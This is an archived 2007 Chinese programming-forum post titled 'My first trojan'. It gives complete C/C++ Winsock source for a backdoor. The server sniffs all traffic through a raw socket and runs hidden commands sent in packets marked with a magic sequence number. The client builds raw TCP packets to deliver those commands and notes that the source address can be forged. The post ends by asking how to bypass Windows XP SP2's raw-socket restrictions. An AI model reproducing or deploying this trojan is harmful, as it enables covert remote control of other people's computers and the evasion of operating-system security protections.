315技术社区's Archiver

咨询客服QQ:604164

fbbm648 发表于 2007-12-15 21:31

我的第一个木马

我的第一个木马


帖子主题:我的第一个木马
帖子分类:程序设计
涉及内容:C/C++  WINSOCK
帖子作者:aneasystone(原作者)
相关参考:refdom《基于嗅探原理的原始套接字木马》
著名: 这个程序(本人改过) 原程序在最先面
//trojanserver.cpp

[Copy to clipboard] [ - ]CODE:
#include "mysock.h"

#define MAX_PACKET_SIZE                        65536
#define SEQ_IDENTITY                        12345  
#define TROJAN_ID_IDENTITY            6789   

//trojan packet header
typedef struct trojanhdr      
{
        unsigned long        trojan_id;      
    unsigned short        trojan_len;      
}TROJANHEADER, *PTROJANHEADER;

//get local ip
unsigned long GetLocalIP()
{
    char szLocalIP[20] = {0};
    char szHostName[128+1] = "\0";
    hostent *phe;
    int i;
    if( gethostname(szHostName, 128 ) == 0 ) {
        // Get host adresses
        phe = gethostbyname(szHostName);
        for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ )
        {
                        sprintf(szLocalIP, "%d.%d.%d.%d",
            (UINT)((UCHAR*)phe->h_addr_list[i])[0],
            (UINT)((UCHAR*)phe->h_addr_list[i])[1],
            (UINT)((UCHAR*)phe->h_addr_list[i])[2],
            (UINT)((UCHAR*)phe->h_addr_list[i])[3]);
        }
    }
    else
        return 0;

    return inet_addr(szLocalIP);
}

int DecodeData(char* pBuffer)
{
    PIPHEADER pIPHeader = (PIPHEADER)pBuffer;
    PTCPHEADER pTCPHeader = (PTCPHEADER)(pBuffer + sizeof(IPHEADER));
    PTROJANHEADER pTrojanHeader = (PTROJANHEADER)(pBuffer + sizeof(IPHEADER) + sizeof(TCPHEADER));

    //check tcp packet
    if (pIPHeader->proto != IPPROTO_TCP)
        return -1;  

    //check seq
    if (ntohs((unsigned short)(pTCPHeader->seq)) !=  SEQ_IDENTITY)
        return -1;

    //check ident
    if (ntohs((unsigned short)(pTrojanHeader->trojan_id)) != TROJAN_ID_IDENTITY)
        return -1;

        //command length
    unsigned short cmdlen = pTrojanHeader->trojan_len;

    if (0 == cmdlen)
        return -1;

    //printf("OK!\n");             //it is the packet we want!

    char * pCommand = new char[cmdlen + 1];
   
        memset(pCommand, 0, cmdlen + 1);
        memcpy(pCommand, pBuffer + sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER), cmdlen);

        //execute command
    int nRet = WinExec(pCommand, SW_HIDE);
    if (nRet > 31)
    {
        //WinExec Successfully!
                //return the message we want...
    }
    return 0;
}

int SniffThread()
{
    int nRet;
        
        SOCKADDR_IN addr_in;
        SOCKET rawSocket;
    DWORD dwBufferLen[10];
    DWORD dwBufferInLen = 1;
    DWORD dwBytesReturned = 0;

    //create a raw socket
    rawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (INVALID_SOCKET == rawSocket)
    {
                printf("socket error : %d\n",WSAGetLastError());
                closesocket(rawSocket);
                return -1;
    }

    addr_in.sin_family = AF_INET;
    addr_in.sin_port  = INADDR_ANY;
    addr_in.sin_addr.S_un.S_addr = GetLocalIP();

    nRet = bind(rawSocket, (struct sockaddr*)&addr_in, sizeof(addr_in));
    if (SOCKET_ERROR == nRet)
    {
        printf("bind error : %d\n", WSAGetLastError());
                closesocket(rawSocket);
                return -1;
    }

    //socket for sniffer
    nRet = WSAIoctl(rawSocket,
                            SIO_RCVALL,
                                        &dwBufferInLen,
                                        sizeof(dwBufferInLen),
                                        &dwBufferLen,
                                        sizeof(dwBufferLen),
                                        &dwBytesReturned,
                                        NULL,
                                        NULL);
    if (SOCKET_ERROR == nRet)
    {
        printf("wsaioctl error : %d\n", WSAGetLastError());
                closesocket(rawSocket);
                return -1;
    }

    //start sniffing
    char* pBuffer = new char[MAX_PACKET_SIZE];
    while(1)
    {
        memset(pBuffer, 0, MAX_PACKET_SIZE);

        nRet = recv(rawSocket, pBuffer, MAX_PACKET_SIZE, 0);
        if (SOCKET_ERROR == nRet)
        {
            printf("recv error : %d\n", WSAGetLastError());
            free(pBuffer);
                        closesocket(rawSocket);
                        return -1;
        }

        if (nRet < 46)
            continue;
         
                //decode the data
        DecodeData(pBuffer);

    }
        free(pBuffer);
    closesocket(rawSocket);
        return 0;
}   

int main(int argc, char* argv[])
{
    WSADATA WSAData;

    if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
    {
        printf("WSAStartup Error:%d\n", WSAGetLastError());
        return -1;
    }
     
    //start sniffer
    SniffThread();

    //clean up
    WSACleanup();

    return 0;
}
//trojanclient.cpp

[Copy to clipboard] [ - ]CODE:
#include "mysock.h"
#include <WS2TCPIP.H>

#define MAX_PACKET_SIZE                        65536
#define SEQ_IDENTITY                        12345
#define TROJAN_ID_IDENTITY            6789   
#define SERVER_PORT                                80
#define LOCAL_PORT                                1234               

//trojan packet header
typedef struct trojanhdr      
{
        unsigned long        trojan_id;      
    unsigned short        trojan_len;      
}TROJANHEADER, *PTROJANHEADER;

//calculate checksum
unsigned short checksum(unsigned short * buffer, int size)
{
        unsigned long cksum = 0;
        while(size >1)
        {
                cksum += *buffer++;
                size -= sizeof(unsigned short);
        }

        if(size)
        {
                cksum += *(unsigned char*)buffer;
        }
        
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16);
        return (unsigned short)(~cksum);
}

//get local ip
unsigned long GetLocalIP()
{
    char szLocalIP[20] = {0};
    char szHostName[128+1] = "\0";
    hostent *phe;
    int i;
    if( gethostname(szHostName, 128 ) == 0 ) {
        // Get host adresses
        phe = gethostbyname(szHostName);
        for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ )
        {
                        sprintf(szLocalIP, "%d.%d.%d.%d",
            (UINT)((UCHAR*)phe->h_addr_list[i])[0],
            (UINT)((UCHAR*)phe->h_addr_list[i])[1],
            (UINT)((UCHAR*)phe->h_addr_list[i])[2],
            (UINT)((UCHAR*)phe->h_addr_list[i])[3]);
        }
    }
    else
        return 0;

    return inet_addr(szLocalIP);
}

int main(int argc, char* argv[])
{
        int cmdlen;
    char szDataBuf[MAX_PACKET_SIZE] = {0};

    BOOL bOption;
    WSADATA WSAData;
    SOCKET nSock;
    SOCKADDR_IN addr_in;

    IPHEADER ipHeader;
    TCPHEADER tcpHeader;
    PSDHEADER psdHeader;
    TROJANHEADER trojanHeader;

    if (argc != 3)
    {
                printf("usage: %s targetip command",argv[0]);
        return -1;
    }

    //get the command will execute
    cmdlen = strlen(argv[2]);
    char * pCommand = new char[cmdlen + 2];
    memset(pCommand, 0, cmdlen + 2);
    memcpy(pCommand, argv[2], cmdlen);


    if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
    {
        printf("wsastartup error : %d\n", WSAGetLastError());
        return -1;
    }

    nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
    if (INVALID_SOCKET == nSock)
    {
        printf("socket error : %d\n", WSAGetLastError());
        free(pCommand);
                closesocket(nSock);
                WSACleanup();
                return -1;  
    }

    int nRet = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (char*)&bOption, sizeof(bOption));
    if (SOCKET_ERROR == nRet)
    {
        printf("setsockopt error : %d\n", WSAGetLastError());
        free(pCommand);
                closesocket(nSock);
                WSACleanup();
                return -1;
    }

    //fill in ip header
    ipHeader.ver_and_len = (4 << 4) | (sizeof(IPHEADER) / sizeof(unsigned long));
    ipHeader.tos = 0;
    ipHeader.total_len = htons(sizeof(IPHEADER) + sizeof(TCPHEADER));
        ipHeader.ident = 0;
    ipHeader.frag_and_flags = 0;
    ipHeader.ttl = 128;
    ipHeader.proto = IPPROTO_TCP;
    ipHeader.checksum = 0;
    ipHeader.sourceip = GetLocalIP();    //of course you can forge an ip
    ipHeader.destinationip = inet_addr(argv[1]);
        
        memcpy(szDataBuf, &ipHeader, sizeof(IPHEADER));
        memcpy(szDataBuf + sizeof(IPHEADER), &tcpHeader, sizeof(TCPHEADER));
        memset(szDataBuf + sizeof(IPHEADER) + sizeof(TCPHEADER), 0, 4);
        ipHeader.checksum = checksum((unsigned short *)szDataBuf, sizeof(IPHEADER) + sizeof(TCPHEADER));

    //fill in tcp header
    tcpHeader.sourceport = htons(LOCAL_PORT);  //make no difference
    tcpHeader.destinationport = htons(SERVER_PORT); //make no difference
    tcpHeader.seq = htons(SEQ_IDENTITY);  //trojan seq ident
    tcpHeader.ack = 345678;
    tcpHeader.len_res_flag = (sizeof(TCPHEADER)/4 << 12) | (0 << 6) | SYN;
    tcpHeader.windowsize = 512;
    tcpHeader.urgenpointer = 0;
    tcpHeader.checksum = 0;

    //fill in trojan header
    trojanHeader.trojan_id = htons(TROJAN_ID_IDENTITY);
    trojanHeader.trojan_len = cmdlen;

fbbm648 发表于 2007-12-15 21:31

//fill in psd header (use for calculate checksum)
    psdHeader.sourceip = ipHeader.sourceip;
    psdHeader.destinationip = ipHeader.destinationip;
    psdHeader.mbz = 0;
    psdHeader.proto = IPPROTO_TCP;
    psdHeader.tcp_len = htons(sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen);

    //calculate checksum
    memcpy(szDataBuf, &psdHeader, sizeof(PSDHEADER));
    memcpy(szDataBuf + sizeof(PSDHEADER), &tcpHeader, sizeof(TCPHEADER));
    memcpy(szDataBuf + sizeof(PSDHEADER) + sizeof(TCPHEADER), &trojanHeader, sizeof(TROJANHEADER));
    memcpy(szDataBuf + sizeof(PSDHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER), pCommand, cmdlen);
    tcpHeader.checksum = checksum((unsigned short *)szDataBuf, sizeof(PSDHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen);

        int total_len = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen;
        memset(szDataBuf, 0, total_len);
        
    //fill in the buffer to send
    memcpy(szDataBuf, &ipHeader, sizeof(IPHEADER));
    memcpy(szDataBuf + sizeof(IPHEADER), &tcpHeader, sizeof(TCPHEADER));
    memcpy(szDataBuf + sizeof(IPHEADER) + sizeof(TCPHEADER), &trojanHeader, sizeof(TROJANHEADER));
    memcpy(szDataBuf + sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER), pCommand, cmdlen);

    addr_in.sin_family = AF_INET;
    addr_in.sin_port = htons(SERVER_PORT);
    addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);

    //send a command
    printf("Start to send command...\n");
    nRet = sendto(nSock,
                          szDataBuf,
                                  sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(TROJANHEADER) + cmdlen,
                                  0,
                                  (struct sockaddr*)&addr_in,
                                  sizeof(addr_in));
    if (SOCKET_ERROR == nRet)
    {
        printf("sendto error : %d\n", WSAGetLastError());
    }
        else
                printf("Send OK!\n");

    free(pCommand);
        closesocket(nSock);
    WSACleanup();
        return 0;
}  
最近写了一些WINSOCK程序 每个都要定义TCP IP这些报文的结构
实在很烦 于是自己写了个
//mysock.h

[Copy to clipboard] [ - ]CODE:
#include<stdio.h>
#include<winsock2.h>
#include<winsock.h>

#pragma comment(lib,"ws2_32")

//standard tcp flags
#define        URG                0x20
#define        ACK                0x10
#define        PSH                0x08
#define        RST                0x04
#define        SYN                0x02
#define        FIN                0x01

//ip header
typedef struct ip_hdr
{
        unsigned char ver_and_len;
    unsigned char tos;
        unsigned short total_len;
        unsigned short ident;
        unsigned short frag_and_flags;
        unsigned char ttl;
        unsigned char proto;
        unsigned short checksum;
        unsigned long sourceip;
        unsigned long destinationip;
}IPHEADER,*PIPHEADER;

//psd header
typedef struct psd_hdr
{
        unsigned long sourceip;
        unsigned long destinationip;
        unsigned char mbz;
        unsigned char proto;
        unsigned short tcp_len;
}PSDHEADER,*PPSDHEADER;

//tcp header
typedef struct tcp_hdr
{
        unsigned short sourceport;
        unsigned short destinationport;
        unsigned long seq;
        unsigned long ack;
        unsigned short len_res_flag;
        unsigned short windowsize;
        unsigned short checksum;
        unsigned short urgenpointer;
}TCPHEADER,*PTCPHEADER;
PS:程序有很多不足点 最致命的是程序在XP SP2以后版本中运行会出现sendto error
       我查了好久相关资料 最后终于在SP2的说明文档中找到了原因

QUOTE:
What new functionality is added to this feature in Windows XP Service Pack 2?
Restricted traffic over raw sockets
Detailed description
A very small number of Windows applications make use of raw IP sockets, which provide an industry-standard way for applications to create TCP/IP packets with fewer integrity and security checks by the TCP/IP stack. The Windows implementation of TCP/IP still supports receiving traffic on raw IP sockets. However, the ability to send traffic over raw sockets has been restricted in two ways:
TCP data cannot be sent over raw sockets.
UDP datagrams with invalid source addresses cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped.

Why is this change important? What threats does it help mitigate?
This change limits the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets, which are TCP/IP packets with a forged source IP address.
于是在 2K的虚拟机里调试 终于成功...

       关于如何解决在SP2下发送原始套接字 有兴趣朋友可以讨论下 ~

[[i] 本帖最后由 fbbm648 于 2007-12-15 21:33 编辑 [/i]]

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.